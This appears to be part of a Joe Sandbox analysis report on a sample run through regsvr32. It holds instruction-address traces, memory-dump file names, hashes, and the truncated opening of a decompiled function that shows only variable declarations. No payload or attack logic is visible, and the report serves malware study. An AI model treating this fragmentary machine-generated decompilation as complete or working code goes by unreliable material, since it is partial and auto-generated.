0x0041869f
0x0041869f
0x0041869f
0x0041869f
0x004186f2
0x004186f7
0x00418707
0x00418731
0x00418739
0x0041873b
0x00418748
0x0041874a
0x0041874a
0x0041874e
0x0041874e
0x00418756
0x0041875b
0x0041875e
0x00418761
0x00418763
0x0041876b
0x0041876f
0x00418783
0x0041878b
0x0041878f
0x00418792
0x00418795
0x004187a0
0x004187a3
0x004187a7
0x004187aa
0x004187b1
0x004187b6
0x004187b9
0x004187c0
0x004187c2
0x004187c5
0x004187cb
0x004187d3
0x004187d3
0x004187cb
0x004187e1
0x004187e8
0x004187eb
0x004187ef
0x004187f2
0x004187f9
0x004187fe
0x00418801
0x00418808
0x0041880a
0x0041880d
0x00418813
0x0041881b
0x0041881b
0x00418813
0x00418836
0x00418839
0x0041883c
0x00418841
0x00418846
0x0041884c
0x00418852
0x00418865
0x0041885d
0x0041885d
0x0041885d
0x0041886b
0x00418872
0x00418872
0x0041887a
0x00418880
0x00418886
0x0041888c
0x0041889f
0x00418897
0x00418897
0x00418897
0x004188a5
0x004188ac
0x004188ac
0x004188b2
0x004188b5
0x004188bf
0x004188c1
0x004188c7
0x004188fa
0x004188fa
0x004188c9
0x004188cd
0x004188d3
0x004188e6
0x004188de
0x004188de
0x004188de
0x004188e9
0x004188f2
0x00000000
0x004188f4
0x004188f4
0x004188f4
0x004188f2
0x00418901
0x00418901
0x00418905
0x0041890d
0x00418939
0x0041893d
0x00418940
0x00418942
0x00418946
0x00418949
0x0041894c
0x00000000
0x0041894e
0x0041894e
0x00418952
0x00418955
0x00418958
0x00418974
0x00418977
0x0041895a
0x0041895a
0x0041895e
0x00418960
0x00418962
0x00000000
0x00000000
0x00000000
0x00000000
0x00418962
0x00000000
0x00418958
0x00000000
0x0041894c
0x0041890f
0x0041890f
0x00418913
0x00418919
0x00418988
0x00418988
0x0041898f
0x0041891b
0x0041891b
0x0041891f
0x00418925
0x00418931
0x00418934
0x00418927
0x00418927
0x0041892b
0x0041892f
0x00418964
0x00418966
0x0041896c
0x0041896f
0x00000000
0x00000000
0x00000000
0x0041892f
0x0041897a
0x00418982
0x00000000
0x00418984
0x00418984
0x00418984
0x00418982
0x00418991
0x00418991
0x00418995
0x00418995
0x0041890d
0x00418998
0x0041899e
0x004189a1
0x004189a6
0x004189ab
0x004189b1
0x004189b7
0x004189ca
0x004189c2
0x004189c2
0x004189c2
0x004189d0
0x004189d7
0x004189d7
0x004189db
0x004189df
0x004189e5
0x004189eb
0x004189f1
0x00418a01
0x00418a04
0x004189fc
0x004189fc
0x004189fc
0x00418a0a
0x00418a11
0x00418a11
0x00418a17
0x00418bed
0x00418bed
0x00418a1d
0x00418a21
0x00418a23
0x00418a29
0x00418a5c
0x00418a5c
0x00418a2b
0x00418a2f
0x00418a35
0x00418a45
0x00418a48
0x00418a40
0x00418a40
0x00418a40
0x00418a4b
0x00418a54
0x00000000
0x00418a56
0x00418a56
0x00418a56
0x00418a54
0x00418a63
0x00418a63
0x00418a6f
0x00000000
0x00418a75
0x00418a75
0x00418a7b
0x00418ad9
0x00418ad9
0x00418ae0
0x00000000
0x00418a7d
0x00418a7d
0x00418a81
0x00418a87
0x00418aa3
0x00418aa6
0x00418a89
0x00418a89
0x00418a8d
0x00418a91
0x00000000
0x00418a93
0x00418a95
0x00418a9b
0x00418a9e
0x00418a9e
0x00418a91
0x00418ab1
0x00000000
0x00418ab3
0x00418ab3
0x00418ab6
0x00418abd
0x00418ae4
0x00418ae4
0x00418abf
0x00418ac3
0x00418ac9
0x00418aeb
0x00418ad4
0x00418ad4
0x00418ad4
0x00418af1
0x00418af8
0x00418af8
0x00418abd
0x00418ab1
0x00418afc
0x00418b00
0x00418b06
0x00418b38
0x00418b38
0x00418b08
0x00418b0c
0x00418b12
0x00418b22
0x00418b25
0x00418b1d
0x00418b1d
0x00418b1d
0x00418b28
0x00418b33
0x00418b33
0x00418b3a
0x00418b3f
0x00418b49
0x00418b4b
0x00418b51
0x00418b84
0x00418b84
0x00418b53
0x00418b57
0x00418b5d
0x00418b6d
0x00418b70
0x00418b68
0x00418b68
0x00418b68
0x00418b73
0x00418b7c
0x00000000
0x00418b7e
0x00418b7e
0x00418b7e
0x00418b7c
0x00418b8b
0x00418b8b
0x00418b8f
0x00418b97
0x00418b9f
0x00418ba5
0x00418be1
0x00418be1
0x00418be8
0x00418ba7
0x00418ba7
0x00418bab
0x00418bb1
0x00418bcd
0x00418bcd
0x00418bd0
0x00418bb3
0x00418bb3
0x00418bb7
0x00418bbb
0x00000000
0x00418bbd
0x00418bbf
0x00418bc5
0x00418bc8
0x00418bc8
0x00418bbb
0x00418bdb
0x00000000
0x00418bdd
0x00418bdd
0x00418bdd
0x00418bdb
0x00418bea
0x00000000
0x00418bea
0x00418b97
0x00418b3f
0x00418a6f
0x00418bef
0x00418bf6
0x00418c03
0x00418c08
0x00418c0c
0x00418c10
0x00418c3b
0x00418c3e
0x00418c41
0x00418c45
0x00418d01
0x00418d01
0x00418d04
0x00418d07
0x00418d0c
0x00000000
0x00000000
0x00418d12
0x00418d15
0x00418d18
0x00418d30
0x00418d33
0x00418d1a
0x00418d1e
0x00418d21
0x00000000
0x00418d23
0x00418d23
0x00418d23
0x00418d21
0x00418d39
0x00418d3b
0x00418d40
0x00418d40
0x00418d44
0x00418d48
0x00418d4b
0x00418d4e
0x00418dc0
0x00418dc2
0x00418dc4
0x00000000
0x00000000
0x00418dc6
0x00418d50
0x00418d54
0x00418d57
0x00418d5a
0x00418d70
0x00418d73
0x00418d5c
0x00418d60
0x00418d63
0x00000000
0x00418d65
0x00418d65
0x00418d65
0x00418d63
0x00418d7b
0x00418d81
0x00418d86
0x00418d8c
0x00418d8c
0x00418d90
0x00418d92
0x00418d95
0x00418d98
0x00418de0
0x00418de0
0x00418d9a
0x00418d9e
0x00418da1
0x00418da4
0x00418dc8
0x00418dcb
0x00418da6
0x00418daa
0x00418dad
0x00000000
0x00418daf
0x00418daf
0x00418daf
0x00418dad
0x00418dd1
0x00418dd7
0x00000000
0x00418dd9
0x00418dd9
0x00418dd9
0x00418dd7
0x00418de7
0x00418de7
0x00418deb
0x00418def
0x00418df2
0x00418e00
0x00418e00
0x00418e04
0x00418e08
0x00418e0b
0x00000000
0x00000000
0x00418e11
0x00418e14
0x00000000
0x00418e16
0x00000000
0x00418e16
0x00000000
0x00418e14
0x00418c57
0x00418c5a
0x00418c5e
0x00418c64
0x00418c68
0x00418c70
0x00418c73
0x00418c80
0x00418c8a
0x00418c8e
0x00418c93
0x00418c97
0x00418c97
0x00418c75
0x00418c75
0x00418c78
0x00000000
0x00418c7a
0x00418c7a
0x00418c7a
0x00418c78
0x00418c6a
0x00418c6a
0x00418c6a
0x00418c9a
0x00418c9d
0x00418ca0
0x00418cf0
0x00418cf0
0x00418cf7
0x00418ca2
0x00418ca2
0x00418ca6
0x00418ca9
0x00418cac
0x00418cd0
0x00418cd3
0x00418cae
0x00418cae
0x00418cb2
0x00418cb4
0x00418cb6
0x00000000
0x00418cb8
0x00418cba
0x00418cc0
0x00418cc3
0x00418cc3
0x00418cb6
0x00418cd9
0x00418cde
0x00000000
0x00418ce0
0x00418ce0
0x00418ce0
0x00418cde
0x00418cf9
0x00418cfe
0x00000000
0x00418cfe
0x00418c5e
0x00418d86
0x00418e1b
0x00418e22
0x00418e25
0x00418e28
0x00418e2c
0x00000000
0x00000000
0x00000000
0x00418e2c
0x00418c16
0x00418c16
0x00418c1e
0x00418c22
0x00418f08
0x00418f08
0x00418f0a
0x00418c28
0x00418c28
0x00418c2f
0x00418c32
0x00418c32
0x00418f0e
0x00418f12
0x00418f16
0x00418f1c
0x00418f23
0x00418f27
0x00418f2e
0x004190b9
0x004190b9
0x004190bc
0x004190c1
0x004190c6
0x004190cc
0x004190d2
0x004190f3
0x004190dd
0x004190dd
0x004190dd
0x004190f6
0x004190f9
0x00419100
0x00419100
0x00419104
0x00419108
0x0041910e
0x00419114
0x0041911a
0x00419130
0x00419133
0x00419125
0x00419125
0x00419125
0x00419136
0x00419139
0x00419140
0x00419140
0x00419146
0x00000000
0x00000000
0x00419150
0x00419152
0x00419158
0x00419190
0x00419190
0x0041915a
0x0041915e
0x00419164
0x00419174
0x00419177
0x0041916f
0x0041916f
0x0041916f
0x0041917a
0x00419183
0x00000000
0x00419185
0x00419185
0x00419185
0x00419183
0x00419197
0x00419197
0x0041919b
0x0041919f
0x004191a3
0x004191b0
0x004191b0
0x004191b4
0x004191bb
0x00000000
0x00000000
0x004191c4
0x00000000
0x00000000
0x004191c6
0x00000000
0x004191c4
0x00418f67
0x00418f6e
0x00418f90
0x00418f99
0x00418f9d
0x00418fa2
0x00000000
0x00418fa8
0x00418fa8
0x00418fad
0x00000000
0x00418fb3
0x00418fb3
0x00418fb7
0x00000000
0x00418fbd
0x00418fbd
0x00418fc1
0x00418fc5
0x00419ca5
0x00419caa
0x00419d1d
0x00419d20
0x00419d24
0x00419d28
0x00419d2a
0x00419d31
0x00419d37
0x00419d39
0x00419d39
0x00419d3d
0x00419d3d
0x00419d42
0x00419d46
0x00419d4a
0x00419d4c
0x00419d50
0x00419d53
0x00419d59
0x00419d5b
0x00419d5b
0x00419d5f
0x00419d5f
0x00419d67
0x00419d6c
0x00419d70
0x00419d73
0x00419d75
0x00419d75
0x00419d75
0x00419d80
0x00419d85
0x00418fcb
0x00418fcb
0x00418fce
0x00418fd8
0x00418fdd
0x00418fdf
0x00418fe5
0x00418fee
0x00418ff2
0x00418ff6
0x00418fff
0x00418fff
0x00419003
0x00419007
0x00419007
0x0041900c
0x00000000
0x0041900c
0x00418fc5
0x00418fb7
0x00418fad
0x00418f70
0x00418f74
0x00419020
0x00419023
0x0041902f
0x00419039
0x0041903d
0x00419042
0x00419046
0x00419046
0x00419025
0x00419025
0x00419028
0x00000000
0x0041902a
0x0041902a
0x0041902a
0x00419028
0x00418f7a
0x00418f7a
0x00418f7a
0x00419052
0x00419056
0x0041905c
0x00419062
0x00419064
0x00419066
0x00419066
0x0041906a
0x0041906a
0x00419070
0x00418f40
0x00418f40
0x00418f47
0x00418f49
0x00419076
0x00419076
0x0041907a
0x00419080
0x004190a0
0x004190a3
0x00419082
0x00419082
0x00419086
0x0041908a
0x00000000
0x0041908c
0x0041908e
0x00419090
0x00419094
0x00419097
0x00419097
0x0041908a
0x004190ae
0x00000000
0x004190b4
0x004190b4
0x004190b6
0x004190b6
0x004190ae
0x00000000
0x00419070
0x00000000
0x00418f6e
0x004191cb
0x004191ce
0x0041924d
0x0041924d
0x00000000
0x004191d4
0x004191d4
0x004191dd
0x004191e1
0x004191e5
0x004191e7
0x004191ea
0x004191ed
0x004191f0
0x004191f0
0x004191f4
0x0041924f
0x0041924f
0x004191f6
0x004191f6
0x004191f8
0x004191f8
0x004191fb
0x00000000
0x004191fd
0x004191fd
0x00419201
0x00419205
0x0041920a
0x00419210
0x00419210
0x00419213
0x00419216
0x00000000
0x00000000
0x00419218
0x0041921c
0x00419222
0x00419230
0x00419232
0x00000000
0x00000000
0x00000000
0x00000000
0x00419224
0x00419224
0x00419226
0x00419238
0x00419238
0x0041923b
0x0041923f
0x00419241
0x00419241
0x00419241
0x00419244
0x00419247
0x00000000
0x00000000
0x00000000
0x00000000
0x00419228
0x00419745
0x00419745
0x00419745
0x00419226
0x00000000
0x00419222
0x00419249
0x00419249
0x004191fb
0x004191f4
0x00419253
0x00419253
0x00419257
0x0041925b
0x0041925f
0x00419261
0x00419268
0x0041926e
0x00419270
0x00419270
0x00419274
0x00419274
0x00419279
0x0041927c
0x00419280
0x00418e2e
0x00418e2e
0x00418e31
0x00418e33
0x00418e37
0x00418e3a
0x00418e3a
0x00418e3d
0x00418e3d
0x00000000
0x00419286
0x00418e41
0x00418e41
0x00418e44
0x00418e46
0x00418e49
0x00418e4e
0x00418e51
0x00418e57
0x00418e5a
0x00418e5d
0x00418e6d
0x00418e70
0x00418e73
0x00418e5f
0x00418e63
0x00418e66
0x00000000
0x00418e68
0x00418e68
0x00418e68
0x00418e66
0x00418e76
0x00418e79
0x00418e7b
0x00418e80
0x00418e80
0x00418e80
0x00418e88
0x00418e8b
0x00418e8e
0x00418e94
0x00418e97
0x00418e9a
0x00418eaa
0x00418ead
0x00418eb0
0x00418e9c
0x00418ea0
0x00418ea3
0x00000000
0x00418ea5
0x00418ea5
0x00418ea5
0x00418ea3
0x00418eb3
0x00418eb6
0x00418eb8
0x00418ebd
0x00418ebd
0x00418ebd
0x00418ec1
0x00418ec3
0x00419303
0x00419303
0x00419306
0x00000000
0x0041930c
0x00418ec9
0x00418ec9
0x00418ecd
0x00418ed1
0x00418ed7
0x00418eda
0x00418edd
0x004192a2
0x004192a2
0x00418ee3
0x00418ee7
0x00418eea
0x00418eed
0x0041928b
0x0041928e
0x00418ef3
0x00418ef7
0x00418efa
0x00000000
0x00418f00
0x00418f00
0x00418f00
0x00418efa
0x00419294
0x0041929a
0x00000000
0x0041929c
0x0041929c
0x0041929c
0x0041929a
0x004192a9
0x004192a9
0x004192b1
0x004192b7
0x004192ba
0x004192bd
0x00419300
0x00000000
0x004192bf
0x004192bf
0x004192cd
0x004192cf
0x004192d2
0x004192d5
0x004192d8
0x00419325
0x00419325
0x0041932c
0x004192da
0x004192da
0x004192de
0x004192e1
0x004192e4
0x0041930e
0x00419311
0x00419314
0x004192e6
0x004192e6
0x004192ea
0x004192ec
0x004192ee
0x00000000
0x004192f0
0x004192f2
0x004192f8
0x004192fb
0x004192fb
0x004192ee
0x0041931a
0x0041931f
0x00000000
0x00419321
0x00419321
0x00419321
0x0041931f
0x0041932e
0x00419332
0x00419335
0x00419338
0x0041934b
0x0041934b
0x0041934b
0x0041934e
0x00419350
0x00419353
0x00419358
0x00000000
0x00000000
0x0041935e
0x00419361
0x00419364
0x00419380
0x00419383
0x00419366
0x0041936a
0x0041936d
0x00000000
0x0041936f
0x0041936f
0x0041936f
0x0041936d
0x00419386
0x00419389
0x0041938b
0x00419390
0x00419390
0x00419394
0x00419398
0x0041939b
0x0041939e
0x004193a4
0x004193a7
0x004193aa
0x004193c0
0x004193c3
0x004193ac
0x004193b0
0x004193b3
0x00000000
0x004193b5
0x004193b5
0x004193b5
0x004193b3
0x004193c6
0x004193c9
0x004193cb
0x004193d0
0x004193d0
0x004193d0
0x004193d4
0x004193d6
0x004193dc
0x004193e0
0x004193e2
0x004193e5
0x004193e8
0x00419420
0x00419420
0x004193ea
0x004193ee
0x004193f1
0x004193f4
0x00419404
0x00419407
0x004193f6
0x004193fa
0x004193fd
0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: ceff43932d0858b76a5d91a4e6e40ce18cfddca5e99f7f2bbd535b720e62748a
Instruction ID: 2831603b09b6b7cff206dbe5e9364b1d435361241f0cc044fe266a123e8bb316
Opcode Fuzzy Hash: ceff43932d0858b76a5d91a4e6e40ce18cfddca5e99f7f2bbd535b720e62748a
Instruction Fuzzy Hash: 5E023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4E5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 004186FB Relevance: 1.7, Strings: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E004186FB(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
